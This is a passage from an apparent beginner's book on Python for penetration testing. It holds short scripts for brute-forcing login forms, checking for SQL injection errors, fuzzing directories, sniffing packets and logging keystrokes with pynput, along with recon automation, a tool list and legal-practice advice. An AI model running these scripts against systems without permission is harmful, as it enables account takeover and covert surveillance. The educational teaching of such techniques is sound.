    response = requests.post(url, data={"username": username, "password": password})
    if "Welcome" in response.text:
        print(f"[+] Password found: {password}")
        break
    else:
        print(f"[-] Tried: {password}")

🎯 This script stops when it finds the correct password. In real testing, you’d use larger wordlists and better response detection.

⚠️ Ethical Reminder

Brute forcing login forms can overload servers and is illegal without explicit permission. Always test responsibly on your own apps or approved targets! 🛡️

Detecting SQL Injection

Hey injection hunters! 🧪🔍

SQL Injection (SQLi) is one of the most common and dangerous web vulnerabilities. Python can help you test web apps automatically by sending crafted inputs and checking for signs of vulnerability. 🚀

💡 What is SQL Injection?

It happens when an application blindly adds user input into a SQL query — letting attackers change the logic, dump data, or even take over the database! 🧨

🐍 Example: Detecting SQLi with Python

This simple script tests a URL by adding a single quote ' and checks if the page shows a typical SQL error:

import requests

url = "http://example.com/page?id=1'"
response = requests.get(url)

errors = ["you have an error in your sql syntax", "mysql_fetch", "syntax error"]

for error in errors:
    if error.lower() in response.text.lower():
        print("[+] Possible SQL Injection found!")
        break
else:
    print("[-] No SQL error detected.")

🎯 This is a basic check — real tools test many payloads and analyze responses more deeply.

⚠️ Use Responsibly

Only test your own sites or ones where you have explicit permission. SQLi can cause data leaks or crashes! 🛡️

Directory Fuzzing using requests and wordlists

Hey fuzzers! 🐍🔍

Directory fuzzing is a powerful technique for discovering hidden files and folders on web servers. Python makes it easy to automate this using the requests library and a simple wordlist. 🚀

💡 What is Directory Fuzzing?

It’s about sending lots of HTTP requests to guess paths like /admin, /backup, or /old. If the server responds with 200 OK, you’ve found something interesting! 🧰

🐍 Example: Simple Directory Fuzzer

import requests

url = "http://example.com/"
wordlist = ["admin", "backup", "test"]

for word in wordlist:
    full_url = url + word
    response = requests.get(full_url)
    if response.status_code == 200:
        print(f"[+] Found: {full_url}")
    else:
        print(f"[-] Not found: {full_url}")

🎯 Replace the small list with a bigger wordlist to improve your chances. You can also add extensions like .php, .bak, etc.

⚠️ Ethical Reminder

Directory fuzzing can generate lots of traffic. Always do it on your own systems or with permission! 🛡️

🚀 Advanced Concepts (Beginner Level)

Automation & Scripting

Hey lazy hackers! 😎🤖

Real hackers don’t repeat the same boring commands every day — they automate them! With Python, you can script anything from running scans to parsing results and even sending alerts. Let’s see why automation makes you a smarter pentester. 🔄⚡

🤔 Why Automate?

Automation helps you:

• Save time by reusing scripts
• Reduce human error
• Chain tools together (e.g., scan → parse → report)
• Work faster during live assessments

🐍 Example: Automate an Nmap Scan

import os

target = "192.168.1.1"
os.system(f"nmap -sV -oN scan.txt {target}")
print("[+] Scan complete! Results saved to scan.txt")

🎯 This script launches Nmap and saves the output to a file automatically.

⚡ Beyond Scanning

You can write scripts to:

• Collect banners and check versions
• Parse tool outputs into reports
• Combine multiple tools in one workflow
• Alert you on Telegram if something is found

Automation isn’t just about saving effort — it’s about being efficient, fast, and always one step ahead. 🚀🧠

Automating Google Dorks

Hey OSINT wizards! 🌐🧙‍♂️

Google isn’t just for searching memes — it’s a powerful hacking tool when you know how to use Google Dorks. With Python, you can automate Google searches to find hidden pages, sensitive files, and exposed directories. ⚡

🔍 What are Google Dorks?

Google Dorks are advanced search queries like:

• site:example.com inurl:admin
• filetype:sql password
• intitle:"index of"

They help you discover data most people never see! 🧰

🐍 Automating with Python

Here’s a basic script to open dorks in your browser automatically:

import webbrowser

target = "example.com"
dorks = [
    f"site:{target} inurl:admin",
    f"site:{target} intitle:login",
    f"site:{target} filetype:sql"
]

for dork in dorks:
    url = "https://www.google.com/search?q=" + dork
    webbrowser.open(url)
    print(f"[+] Opened: {url}")

🎯 Instead of typing dorks one by one, this script opens them instantly — saving time during recon!

⚠️ Use Carefully

Google may block you if you run too many automated searches. Always use responsibly and add delays if needed! 🛡️

Automating Recon Tools (theHarvester, etc.)

Hey recon warriors! 🕵️‍♂️⚡

Manual recon can be slow and repetitive. Why not use Python to automate your favorite recon tools like theHarvester, sublist3r, or whatweb? Save time and get results faster! 🐍🚀

🤔 Why Automate?

Instead of running tools one by one, your script can:

• Run multiple tools in sequence
• Save results to files
• Notify you when finished

🐍 Example: Automate theHarvester

import os

domain = "example.com"
command = f"theHarvester -d {domain} -l 100 -b google,bing -f harvester_report.html"
os.system(command)
print("[+] Recon complete! Report saved to harvester_report.html")

🎯 This script runs theHarvester, searches multiple sources, and saves results to HTML.

📦 Go Further

You can also:

• Combine with sublist3r for subdomains
• Use whatweb to fingerprint technologies
• Chain all tools and merge reports

With automation, your recon becomes faster, consistent, and repeatable — just like real-world pentesters do! 💡💥

Working with APIs

Hey automation hackers! 🧑‍💻🔌

APIs are like secret doors into apps, tools, and databases. In ethical hacking, you can use APIs to collect data, check vulnerabilities, or even automate entire workflows. Let’s see how Python makes API hacking easy! ⚡

🤔 What is an API?

API stands for Application Programming Interface. It lets software talk to other software — so instead of scraping messy HTML, you get clean, structured data. 🧰

🐍 Example: Calling an API with Python

import requests

url = "https://api.example.com/data"
response = requests.get(url)

if response.status_code == 200:
    data = response.json()
    print("[+] Received data:", data)
else:
    print("[-] Request failed!")

🎯 The requests library makes it super simple to send GET or POST requests and handle JSON responses.

💡 Why APIs Rock for Hackers

• Collect recon data from services like Shodan or VirusTotal
• Automate vulnerability scanning
• Send alerts to Slack or Telegram
• Build dashboards to see all your findings

APIs let your Python scripts work smarter, not harder — turning them into real hacking assistants! 🚀💻

Working with APIs

Hey automation hackers! 🧑‍💻🔌

APIs are like secret doors into apps, tools, and databases. In ethical hacking, you can use APIs to collect data, check vulnerabilities, or even automate entire workflows. Let’s see how Python makes API hacking easy! ⚡

🤔 What is an API?

API stands for Application Programming Interface. It lets software talk to other software — so instead of scraping messy HTML, you get clean, structured data. 🧰

🐍 Example: Calling an API with Python

import requests

url = "https://api.example.com/data"
response = requests.get(url)

if response.status_code == 200:
    data = response.json()
    print("[+] Received data:", data)
else:
    print("[-] Request failed!")

🎯 The requests library makes it super simple to send GET or POST requests and handle JSON responses.

💡 Why APIs Rock for Hackers

• Collect recon data from services like Shodan or VirusTotal
• Automate vulnerability scanning
• Send alerts to Slack or Telegram
• Build dashboards to see all your findings

APIs let your Python scripts work smarter, not harder — turning them into real hacking assistants! 🚀💻

Using VirusTotal API

Hey malware hunters! 🐍🔍

VirusTotal is one of the most popular online tools for checking files and URLs against dozens of antivirus engines. With the VirusTotal API, you can automate this process right inside your Python scripts! 🚀

🔑 Why Use the API?

Instead of manually uploading each file or URL:

• Automate checks for new downloads
• Scan results during recon
• Integrate VirusTotal into bigger pentest tools

🐍 Example: Scan a URL with VirusTotal API

import requests

api_key = "YOUR_API_KEY"
url_to_scan = "http://example.com"

params = {"apikey": api_key, "url": url_to_scan}
response = requests.post("https://www.virustotal.com/vtapi/v2/url/scan", data=params)

if response.status_code == 200:
    result = response.json()
    print("[+] Scan submitted! Scan ID:", result["scan_id"])
else:
    print("[-] Request failed!")

🎯 Replace YOUR_API_KEY with your real key from VirusTotal (you can get it free by registering).

📦 Next Step: Fetch Report

After submitting, you can check the scan report:

params = {"apikey": api_key, "resource": result["scan_id"]}
report = requests.get("https://www.virustotal.com/vtapi/v2/url/report", params=params)
print(report.json())

⚠️ Always read VirusTotal’s terms and rate limits — and only scan data you’re allowed to! 🛡️

Telegram Bot for Alerts

Hey automation hackers! 🐍📢

Imagine running a scan or brute force script — and getting a Telegram message when it finds something. With Python, you can build your own Telegram bot to send alerts directly to your phone! 🚀

🤔 Why Use Telegram?

Because it’s free, fast, and has an awesome API. Perfect for getting updates while your tools run in the background. ⚡

🐍 Example: Send a Message with Python

First, create a bot with BotFather and get your BOT_TOKEN. Then:

import requests

bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "🔥 Scan finished! Found something interesting."

url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}

response = requests.post(url, data=payload)

if response.status_code == 200:
    print("[+] Message sent!")
else:
    print("[-] Failed to send message.")

🎯 Replace YOUR_BOT_TOKEN and YOUR_CHAT_ID with your real values.

📦 What Can You Automate?

• Get alerts when brute force finds a password
• Send new recon data to your phone
• Notify when a scan script finishes

Now your hacking tools can literally talk to you! 🤖📲

🎯 Real-World Projects

Build a Simple Keylogger (for learning purpose only)

Hey ethical hackers! 🧑‍💻🔍

Keyloggers record every keystroke on a machine — they’re powerful for understanding how malware works, but remember: use them only in your own lab or with explicit permission. ⚠️

💡 What is a Keylogger?

A keylogger captures keys pressed by the user. Attackers use them to steal credentials; ethical hackers use them to learn, test defenses, or build anti-keylogging tools. 🛡️

🐍 Example: Python Keylogger

We can use the pynput library to listen to keyboard events:

from pynput import keyboard

def on_press(key):
    try:
        print(f"Key pressed: {key.char}")
    except AttributeError:
        print(f"Special key: {key}")

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

🎯 This script prints each key to the console. In real projects, you'd write them to a file instead.

⚠️ Ethical Reminder

Never run a keylogger on someone else's machine without consent. Use it to understand how attackers work — so you can build defenses! 🛡️🧠

Build a Network Sniffer

Hey packet ninjas! 🧑‍💻📡

Network sniffers capture and analyze packets moving through the network. They’re great for troubleshooting, analyzing protocols, or learning how data flows — and yes, they’re a classic tool in a hacker’s toolbox. ⚡

💡 What is a Sniffer?

A sniffer listens to network traffic on an interface. Ethical hackers use it to see unencrypted data, detect suspicious activity, or understand protocols. 🧰

🐍 Example: Python Packet Sniffer

Using the scapy library, you can capture and print packet summaries easily:

from scapy.all import sniff

def show_packet(packet):
    print(packet.summary())

sniff(iface="eth0", prn=show_packet, count=10)

🎯 Replace eth0 with your actual network interface. This script captures 10 packets and prints a summary of each.

⚠️ Ethical Reminder

Sniffing traffic on networks you don’t own or control is illegal. Always use your own lab, test network, or permission-based environment! 🛡️

Ready to see what really travels over the wire? Let’s sniff some packets! 🐍📡

Build a Basic Vulnerability Scanner

Hey vulnerability hunters! 🧑‍💻🛡️

A vulnerability scanner checks systems for known weaknesses — like outdated software or default credentials. Let’s build a simple Python scanner to get started! 🚀

💡 What Does It Do?

Our scanner will:

• Check target ports
• Grab service banners
• Compare banners against a small list of known vulnerable versions

It’s basic — but it teaches the foundations of real scanners! 🧰

🐍 Example: Python Vulnerability Scanner

import socket

target = "127.0.0.1"
ports = [21, 22, 80]
vulnerable_versions = ["vsFTPd 2.3.4", "OpenSSH 7.2p2"]

for port in ports:
    try:
        s = socket.socket()
        s.settimeout(2)
        s.connect((target, port))
        banner = s.recv(1024).decode().strip()
        print(f"[+] Port {port} banner: {banner}")
        for vuln in vulnerable_versions:
            if vuln in banner:
                print(f"[!] Vulnerable service detected: {banner}")
    except:
        print(f"[-] Port {port} closed or no banner")
    s.close()

🎯 This scanner checks banners for known vulnerable strings. You can expand it with bigger lists, CVE checks, or API integrations later!

⚠️ Ethical Reminder

Only scan systems you own or have permission to test. Unauthorized scanning can break things or trigger alerts! 🛡️

Build a Telegram-Based Alert Bot for Pentest Results

Hey automation pros! 🤖📢

Imagine running a scan or brute force script and instantly getting the results on your phone via Telegram. With Python, it’s easy to build your own alert bot that keeps you updated wherever you are! 🚀

💡 Why Build an Alert Bot?

Instead of checking logs manually, your script can:

• Send live updates when a password is cracked
• Notify you when a vulnerability is detected
• Summarize scan results automatically

🐍 Example: Send Results via Telegram

First, create a bot with BotFather and get your BOT_TOKEN and chat_id. Then:

import requests

bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"
message = "✅ Pentest completed! Found open ports on target."

url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": message}

response = requests.post(url, data=payload)

if response.status_code == 200:
    print("[+] Alert sent!")
else:
    print("[-] Failed to send alert.")

🎯 Replace placeholders with your real values. Now your Python script can send real-time alerts to your Telegram!

⚡ Next Level Ideas

• Send JSON-formatted reports or summaries
• Notify on critical findings only
• Build a dashboard to track multiple scripts

Now your tools don’t just run — they talk back to you. Hacker automation level: unlocked! 🐍📲🚀

🏁 Wrapping Up

How to Practice Legally

Hey ethical hackers! 🛡️📜

Before you start scanning, fuzzing, or brute forcing, it’s critical to know where you can legally practice. Ethical hacking means hacking with permission — and staying on the right side of the law. ⚖️✨

✅ Get Explicit Permission

Only test systems you:

• Own personally
• Have written permission to test (like bug bounty targets)
• Use in approved learning environments

Testing random websites or IPs without consent can lead to legal trouble! 🚫

🧪 Use Legal Labs & Platforms

Practice safely on platforms built for hacking:

• Hack The Box
• TryHackMe
• DVWA (Damn Vulnerable Web Application)
• OWASP Juice Shop

📜 Understand the Rules

Even legal platforms have scope and rules. Always check:

• What systems are in scope
• Which attacks are allowed
• Whether denial of service (DoS) is forbidden

🎯 Ethical hacking isn’t just about skills — it’s about using them responsibly. Hack smart, hack safe, and hack legally! 🐍🛡️🚀

Practice Labs (HackTheBox, TryHackMe, WebGoat, DVWA)

Hey hands-on hackers! 🧑‍💻🔧

The best way to master ethical hacking isn’t just by reading or coding — it’s by practicing in real, controlled environments. Let’s explore some of the most popular legal labs every pentester should know! 🚀

🧪 Hack The Box (HTB)

One of the most famous platforms where you hack into intentionally vulnerable machines. You’ll find everything from beginner-friendly boxes to advanced challenges that feel like real-world pentests. 🏴‍☠️

🧰 TryHackMe

Great for step-by-step learning. Rooms cover topics like web hacking, privilege escalation, and network scanning — often with detailed guides and walkthroughs. 🧭

🛡️ WebGoat

A deliberately insecure web app by OWASP, perfect for learning web vulnerabilities like XSS, SQLi, and more. Test your scripts or practice manual attacks safely. 🌐

📦 DVWA (Damn Vulnerable Web Application)

Simple, lightweight, and built to break! Great for brute force, injection, and other web exploitation basics. You can even run it locally on your machine. 💻

🎯 Practicing in these labs helps you build real hacking skills — safely and legally. Set up your environment, write your scripts, and start exploring! 🐍💥

Responsible Disclosure

Hey ethical hackers! 🧑‍💻🤝

Finding a vulnerability is exciting — but what you do next matters even more. Responsible disclosure means reporting security issues safely, legally, and ethically to help fix them without putting anyone at risk. 🛡️⚡

✅ What is Responsible Disclosure?

It’s the process of:

• Documenting the vulnerability clearly
• Reporting it to the right person or team (often via security@ emails or bug bounty platforms)
• Giving them time to fix before sharing publicly

📦 Why It Matters

Responsible disclosure:

• Protects users from attacks
• Builds trust between hackers and organizations
• Can even earn you recognition or bug bounty rewards

✏️ Tips for Good Reporting

• Include clear reproduction steps
• Describe potential impact
• Stay professional and respectful

🎯 Remember: ethical hacking isn’t just about finding flaws — it’s about helping fix them. That’s what makes you a real white hat! 🐍🛡️🚀

Write Reports

Hey pro pentesters! 🧑‍💻📝

Finding vulnerabilities is important — but your work isn’t done until you can communicate your findings clearly. Writing good reports turns raw data into valuable insight for your clients or team. 🛡️✨

📦 Why Reports Matter

Reports help:

• Explain what you found (and why it matters)
• Give actionable steps to fix issues
• Show the value of your work as a hacker or pentester

✏️ What to Include

• Executive summary: Non-technical overview for managers
• Technical details: Proof of concept, affected systems, and screenshots
• Impact analysis: What could happen if exploited
• Remediation: Clear advice to fix or mitigate

🎯 Tips for Great Reports

• Keep it clear and concise
• Use visuals like tables or diagrams
• Write so both technical and non-technical readers understand

Good reporting doesn’t just show you can hack — it shows you can think, explain, and help others stay secure. That’s what makes you truly professional! 🐍💻✅

What Next?

Hey future cyber pros! 🧑‍💻🚀

You’ve built tools, automated scans, and explored real-world hacking labs — so what’s next on your journey? Ethical hacking is all about continuous learning and evolving your skills. Let’s see where you can go from here! 🌱✨

📦 Learn Advanced Python

Dive deeper into topics like:

• Object-oriented programming
• Async programming for faster tools
• Building custom modules

🧰 Explore Frameworks & Tools

Start working with powerful libraries and frameworks like:

• Scapy (for packet crafting)
• Metasploit automation
• Shodan and other security APIs

🎓 Get Certified

Consider certifications like:

• CEH (Certified Ethical Hacker)
• OSCP (Offensive Security Certified Professional)
• eJPT (Junior Penetration Tester)

🎯 Remember: the hacking journey never truly ends — there’s always a new tool to build, a vulnerability to study, or a system to secure. Keep learning, keep practicing, and stay curious! 🐍💻🔥

Learning Advanced Python

Hey Python ninjas! 🐍🧠

By now, you know how to write basic scripts and tools — but to build powerful, professional hacking tools, you need to level up your Python game! Let’s see what advanced Python skills can take you from scripting to real software development. 🚀

📦 Object-Oriented Programming (OOP)

Organize your tools with classes and objects to make them modular, maintainable, and scalable. Great for building bigger projects like scanners or bots. 🧰

⚡ Async & Multithreading

Speed up your tools! Use:

• threading or multiprocessing to run tasks in parallel
• asyncio for high-speed network scripts

🐍 Writing Custom Modules

Turn repeated code into modules you can import, share, or reuse in other projects. Makes your toolkit cleaner and more professional! ✨

🧪 Advanced Libraries

Explore powerful libraries for pentesting, networking, and automation like:

• Scapy (packet crafting)
• Twisted (async networking)
• BeautifulSoup & Selenium (web automation)

🎯 Learning advanced Python doesn’t just make you a better coder — it makes you a better hacker by giving you the power to build smarter tools. 🐍💻🔥

Moving to Frameworks (Scapy, Metasploit Automation)

Hey advanced hackers! 🧑‍💻🔧

Basic scripts are great — but if you want to build real-world tools, it’s time to explore powerful frameworks like Scapy and Metasploit. These can help you craft packets, automate exploits, and supercharge your hacking skills! 🚀

⚡ Why Use Frameworks?

• Faster development: no need to reinvent the wheel
• More features and community support
• Powerful APIs for advanced attacks and automation

🐍 Scapy: Packet Crafting & Sniffing

Scapy lets you build, send, sniff, and analyze custom packets in Python:

from scapy.all import *

packet = IP(dst="example.com")/ICMP()
response = sr1(packet)
print(response.summary())

🎯 Perfect for network scanning, fuzzing, and learning how protocols really work!

🧰 Metasploit Automation

Metasploit isn’t just a GUI tool — you can automate it with Python (e.g., via msfrpc) to:

• Run exploits automatically
• Collect post-exploitation data
• Integrate with your custom tools

⚠️ Use responsibly! Automating exploits is powerful but risky — always test in labs or with permission. 🛡️

🎯 Frameworks turn you from a script user into a tool builder — unlocking advanced pentesting skills! 🐍💥

Getting Certified (CEH, OSCP, etc.)

Hey future professionals! 🧑‍💻🎓

Learning Python and practicing in labs is awesome — but if you want to prove your skills to employers or clients, certifications can open doors. Let’s see why certs like CEH and OSCP matter and what they cover! 🚀

📜 Why Get Certified?

• Validate your ethical hacking knowledge
• Boost your resume and credibility
• Learn structured methodologies and best practices

⚡ Popular Certifications

• CEH (Certified Ethical Hacker): Covers tools, techniques, and general theory — great for beginners.
• OSCP (Offensive Security Certified Professional): Hands-on, practical exam where you hack real boxes — highly respected in the industry.
• eJPT (Junior Penetration Tester): Beginner-friendly, focuses on core pentest skills and networking basics.

🧰 How Python Helps

Your Python knowledge can give you an edge by:

• Writing custom tools during exams
• Automating scanning and recon
• Building quick proof-of-concept exploits

🎯 Remember: a certificate alone doesn’t make you a hacker — practice, projects, and continuous learning do. But certs help you show the world what you know! 🐍💻🔥

🎁 Bonus

Cheat Sheet of Python Commands for Pentesters

Hey quick-reference ninjas! 🧑‍💻⚡

When you’re in the middle of a test, it helps to have a handy cheat sheet of Python commands and code snippets. Here’s a quick list every ethical hacker and pentester can use to save time! 📋🚀

🔧 Network Basics

# Get IP of a domain
import socket
socket.gethostbyname("example.com")

# Simple port scan
s = socket.socket()
s.connect(("127.0.0.1", 80))

📡 HTTP Requests

import requests
response = requests.get("http://example.com")
print(response.text)

# POST request
requests.post("http://example.com/login", data={"u":"admin","p":"1234"})

🧰 Banner Grabbing

s.recv(1024).decode()

🔍 Parsing HTML

from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, "html.parser")
print(soup.title.text)

📦 File Handling

# Read lines from file
with open("file.txt") as f:
    lines = f.readlines()

⚡ Loop & Conditions

for i in range(10):
    if i % 2 == 0:
        print(i)

🎯 This cheat sheet helps you remember common tasks while coding your tools, automating scans, or writing scripts during a pentest. Quick, simple, and hacker-approved! 🐍💻🔥

List of 20 Python Security Tools with Usage

Hey tool lovers! 🛠️🐍

Python has an incredible ecosystem for cybersecurity. Here’s a quick guide to 20 powerful Python security tools you can explore, along with what they’re used for. Perfect for inspiration, automation, or building your own toolkit! 🚀

🔍 Information Gathering

• theHarvester – Find emails and subdomains
• sublist3r – Fast subdomain enumeration
• Shodan – Python wrapper for the Shodan API
• dnsdumpster – Passive DNS information gathering

🧪 Vulnerability Scanning & Exploits

• sqlmap – Automate SQL injection detection and exploitation
• XSStrike – Detect and exploit XSS vulnerabilities
• Wapiti – Web vulnerability scanner
• routersploit – Exploit framework for embedded devices

⚡ Network & Packet Tools

• Scapy – Craft and sniff packets
• Impacket – Collection of network protocol tools and scripts
• hping3-python – Send custom TCP/IP packets

🔑 Password Attacks & Cracking

• hashlib – Built-in library to hash and compare passwords
• Hydra wrapper scripts – Automate brute force attacks
• crackmapexec – Post-exploitation tool for networks

📦 Web & Automation Tools

• requests – HTTP requests, brute forcing, and fuzzing
• BeautifulSoup – HTML parsing and scraping
• Selenium – Automate browser actions

🛡️ Defensive & Analysis

• Volatility – Memory forensics framework
• PyInstaller – Package your tools into executables

🎯 Explore these tools, study their code, and get inspired to write your own. Python makes it easier than ever to build tools tailored to your workflow! 🐍💻🔥

Interview Questions & Career Path

Hey future cybersecurity pros! 🧑‍💻🚀

Mastering Python for pentesting is just the start — next comes turning your skills into a real job! Let’s look at common interview questions and how you can build your career path in ethical hacking. 🛡️✨

💡 Common Python & Security Interview Questions

• What is the difference between TCP and UDP?
• How would you scan a network using Python?
• Explain the use of sockets in network programming.
• What is banner grabbing? Why is it useful?
• What libraries would you use for web scraping?
• How can you automate brute force attacks in Python?
• Explain the use of Scapy in pentesting.
• What is the difference between dictionary attack and brute force?
• Describe responsible disclosure and why it matters.

🧰 Building Your Career Path

• Start with hands-on labs: HackTheBox, TryHackMe, DVWA
• Contribute to open-source pentesting tools
• Document your projects on GitHub
• Get certified (CEH, OSCP, eJPT)
• Network with the community: forums, Discord, LinkedIn

🎯 Interviews aren’t just about right answers — they’re about showing passion, curiosity, and real-world practice. Keep building, keep coding, and stay hungry to learn! 🐍💻🔥

FAQ

What is Python for Penetration Testing and who should read this book?

Python for Penetration Testing is a comprehensive guide that teaches ethical hacking and cybersecurity techniques using Python. This book is ideal for beginners, cybersecurity enthusiasts, and IT professionals who want to automate penetration testing tasks and enhance security skills.

Which Python concepts are covered in the book for penetration testing?

The book covers Python basics such as variables, loops, functions, and classes, and advanced topics including network programming, web scraping, socket programming, automation scripts, and building hacking tools for penetration testing.

Do I need prior hacking knowledge to use this book?

No prior hacking experience is required. This book is designed for beginners, providing step-by-step instructions to learn both Python programming and practical penetration testing techniques.

Which operating systems are supported for practicing Python penetration testing?

You can practice all examples and scripts on major operating systems including Windows, Linux distributions (Kali Linux recommended), and macOS. The book provides instructions compatible with each platform.

What types of penetration testing tasks can I perform after learning from this book?

After studying this book, you can perform tasks such as network scanning, vulnerability assessment, brute-force attacks, password cracking automation, web application testing, and writing custom Python scripts to support ethical hacking activities.

Are the Python scripts and tools in this book safe to use?

Yes, all scripts and tools are intended for **ethical hacking and educational purposes only**. Users should always have proper permission before testing any network or system.

Where can I download or read the Python for Penetration Testing book?

You can access the book online or download it from here. All examples, scripts, and links are fully functional.